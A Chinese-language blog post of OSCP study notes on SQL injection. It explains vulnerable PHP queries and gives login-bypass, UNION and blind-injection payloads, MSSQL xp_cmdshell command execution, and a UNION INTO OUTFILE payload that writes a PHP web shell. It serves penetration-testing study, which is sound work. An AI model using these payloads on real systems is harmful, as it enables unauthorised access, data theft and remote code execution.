OSCP笔记:SQL注入攻击深度解析与实战指南

6 阅读5分钟

OSCP笔记:SQL注入攻击深度解析与实战指南

这是一个庞大的主题,远远超出了常见的攻击类型,值得单独用一个章节来讲解。不过,OSCP考试不允许使用SQLMap,所以这里不会有关于它的笔记。OSCP要求100%的手工枚举。但这是否意味着你不能用Python自动化SQL攻击?当然可以!只是不能使用侦察工具直接获取Shell;这是一场方法论考试。

什么是SQL注入?

就像一个调皮的孩子发现,如果他们喊出一个巧妙的句子,就能打破玩具箱上的锁。他们不说“芝麻开门”,而是喊:“芝麻开门 或者 让我进去!”

这里是来自 PortSwigger 和 W3School 的权威解释:

SQL注入的常见工作流程

以Facebook为例,你用用户名和密码登录账户,这些信息存储在服务器的数据库中。在数据库中,有一个表,你的账户信息就在那里。

攻击者视角:

它注入的代码是这样的: Timmy' AND 1=1; DROP ALL STICKERS-- --> (假设存在一个名为stickers的数据库)

正常登录过程: 当你以用户 jake 登录时,后端会执行类似这样的查询: SELECT * FROM users WHERE user_name='jake' 系统会在数据库中搜索你的用户名和你密码的哈希值(在某些数据库中,密码甚至可能是明文存储的)。

代码结构示例: users(1) ────<sessions(many) │ ├────<login_attempts(many) │ ├────<password_resets(many) │ └────<refresh_tokens(many) ────<refresh_tokens(rotation chains via parent_id)

漏洞根源:缺乏输入清理

没有对用户输入进行清理(Sanitization)的代码是罪魁祸首。

<?php
$u = $_POST["user"];
$p = $_POST["pass"];
$query = "SELECT * FROM users WHERE username='$u' AND password='$p'";
$result = mysqli_query($db, $query);
?>

攻击流程解析

  1. [1] 用户输入:通过登录表单提交用户名和密码。
  2. [2] 不安全的应用代码:通过简单的字符串拼接构建SQL查询语句。 "SELECT * FROM users WHERE username = '"+username+"' AND password = '"+password+"'"
  3. [3] 数据库:按原样执行拼接后的SQL语句。
  4. [4] 攻击结果
    • 正常情况:安全输入 -> 执行预期查询 -> 正常认证流程。
    • 注入情况:输入包含SQL语法,改变了查询的逻辑(例如,绕过WHERE子句或添加UNION语句)。数据库返回意外的行、错误信息或元数据。

登录界面测试Payload

最简单的测试Payload: OR '1'='1WHERE username = '' OR '1'='1' AND password = 'anything';

比如: ' —— 这个单引号通常是漏洞存在的指示器。

深入SQL注入

这是对SQL注入的一个很好的解释,但更重要的是理解你在数据库里做了什么:

1. 基于错误的注入

这是一种基于错误的Payload。在上述PHP代码中,我们可以使用OR语句来改变查询逻辑。

原始查询: SELECT * FROM users WHERE id = <用户输入>;

攻击者输入: admin' OR '1=1

最终执行的查询变为: SELECT * FROM users WHERE id = 'admin' OR '1=1'; 这将返回表中的所有用户。

测试工具:你可以在Burp Suite中测试这类漏洞。将请求发送到Intruder,使用Sniper攻击类型,加载Payload字典进行模糊测试。

推荐Payload字典

更多参考

需要关注的数据库软件:MySQL、Oracle、PostgreSQL和Microsoft SQL Server。MySQL是目前最常见的。

2. 联合查询注入

联合查询注入是一种不同的技术。攻击者滥用SQL的 UNION 操作符,将原始查询的结果与攻击者控制的额外查询结果合并。

联合查询工作原理:

  1. [用户输入] -> 应用程序(存在漏洞)
  2. [构建SQL查询]SELECT id, title FROM posts WHERE id = <用户输入>;
  3. [攻击者操纵输入]<用户输入> -> 先闭合原始查询,然后添加 UNION 子句。
  4. [数据库执行]SELECT id, title FROM posts WHERE id = 1 UNION SELECT id, email FROM users;

基本概念SELECT column_name(s) FROM table1 UNION SELECT column_name(s) FROM table2;

使用Burp利用UNION注入

基本Payload示例

  1. 确定列数:' order by 1-- - cn' UNION select 1,2,3-- -
  2. 获取数据库版本:cn' UNION select 1,@@version,3,4-- -
  3. 从其他表获取数据:UNION select username,2,3,4 from passwords-- -

3. 布尔盲注

盲注类似于本地文件包含(LFI),但你是将Payload注入到参数值中。

示例URLhttp://$target/some.php?user=admin

测试Payload

  • 测试布尔条件:http://$target/some.php?user=admin' AND 1=1 -- //

更多参考

SQL枚举技巧与命令

MySQL 枚举

mysql -u root -p'root' -h $target -P3306 --skip-ssl-verify-server-cert

进入MySQL命令行后:

select version(); -- (有时使用)
show databases;
select database();
show tables;
use [table_name];

-- 快速查询所有用户密码
SELECT database(), authentication_string FROM [table_name] WHERE user='[user]';

MSSQL 枚举与RCE

如果你获得了一个 svc_mssql 账户,可以使用 impacket 连接并尝试远程命令执行。

impacket-mssqlclient svc_mssql:[password]@$target -windows-auth

进入MSSQL命令行后:

SELECT @@version;
SELECT name FROM sys.databases;
SELECT * FROM [database].information_schema.tables;
select * from [table];

-- 启用xp_cmdshell并执行系统命令
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXECUTE xp_cmdshell 'whoami';

高级技巧:从SQL注入到RCE

联合查询写Web Shell (MySQL)

如果目标数据库有写入权限,你可以尝试通过联合查询将Web Shell写入Web目录。 Payload示例: 1' UNION SELECT 1, '<?php system($_GET["cmd"]); ?>', 3 INTO OUTFILE '/var/www/html/shell.php' -- -

手工模糊测试清单

在Burp Intruder中进行模糊测试时,可以尝试替换以下字段名,并结合用户名列表进行暴力破解。

# 替换占位符
<user-fieldname>
<pass-fieldname>
<username>

# 经典认证绕过Payload
<username>' OR 1=1--
' OR ''='
<username>'-- 
<username>' union select 1, '<user-fieldname>', '<pass-fieldname>' 1--

模糊测试字典

学习资源推荐

结语

感谢你的阅读。SQL注入可能是一个一开始看起来有点难的概念,但把它想成是命令注入或暴力破解登录的另一种形式,就容易理解多了。记住,坚持是永远能成功着陆的Payload

今天的分享就到这里——距离OSPC荣耀又近了一天。FINISHED CSD0tFqvECLokhw9aBeRqk/RoMlnSfT1cGb+LXRvhoqXMVqS0QJ7cSg1RUuJ5kKaZMj1VSVtNaR0ndWVT7QtGWwNRRoODoV4chqFw3GE2rNr3BwGyFXGC0ut3euloI34